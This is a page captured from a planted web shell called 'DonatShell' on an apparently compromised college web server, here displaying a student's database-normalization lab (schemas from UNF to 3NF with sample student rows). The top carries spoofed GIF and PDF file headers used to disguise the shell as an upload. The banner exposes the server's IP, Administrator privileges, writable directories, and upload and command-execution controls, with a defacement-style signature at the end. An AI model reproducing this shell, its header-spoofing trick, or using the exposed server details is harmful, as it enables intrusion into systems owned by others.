GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/16785924/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/16785924/Lab07/CST1600_LandonShropshire_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF:
student(Name, HomeMobilePhoneNumber, MobilePhoneNumber, StudentID, MajorCode)
primaryKey(StudentID, MajorCode)

2NF:
student(Name, StudentID)
phoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber, StudentID)
majors(MajorCode, StudentID)

primaryKey(StudentID)
foreignKey(StudentID@[phoneNumbers.StudentID])
foreignKey(StudentID@[majors.StudentID])

3NF:
students(Name, StudentID)
phoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber, StudentID)
majors(MajorCode, StudentID)
uniquePhoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber)

primaryKey(StudentID)
foreignKey(StudentID@[phoneNumbers.StudentID])
foreignKey(StudentID@[majors.StudentID])
unique(HomeMobilePhoneNumber)
unique(MobilePhoneNumber)

Three data rows:
students:
| Name              | StudentID |
|-------------------|-----------|
| Avram Hinton      | 34673656  |
| Hayes Gibson      | 83681840  |
| Kristen Acosta    | 94086534  |

phoneNumbers:
| HomeMobilePhoneNumber | MobilePhoneNumber | StudentID |
|-----------------------|-------------------|-----------|
| 103-391-7811          | 676-683-6301      | 34673656  |
| 447-149-5334          | N/A               | 83681840  |
| N/A                   | 972-658-1570      | 94086534  |

majors:
| MajorCode | StudentID |
|-----------|-----------|
| NSA       | 34673656  |
| CSS       | 34673656  |
| CST       | 34673656  |
| CST       | 83681840  |
| CP        | 94086534  |
| MAD       | 94086534  |

uniquePhoneNumbers:
| HomeMobilePhoneNumber | MobilePhoneNumber |
|-----------------------|-------------------|
| 103-391-7811          | 676-683-6301      |
| 447-149-5334          | N/A               |
| N/A                   | 972-658-1570      |

Anon7 - 2022
AnonSec Team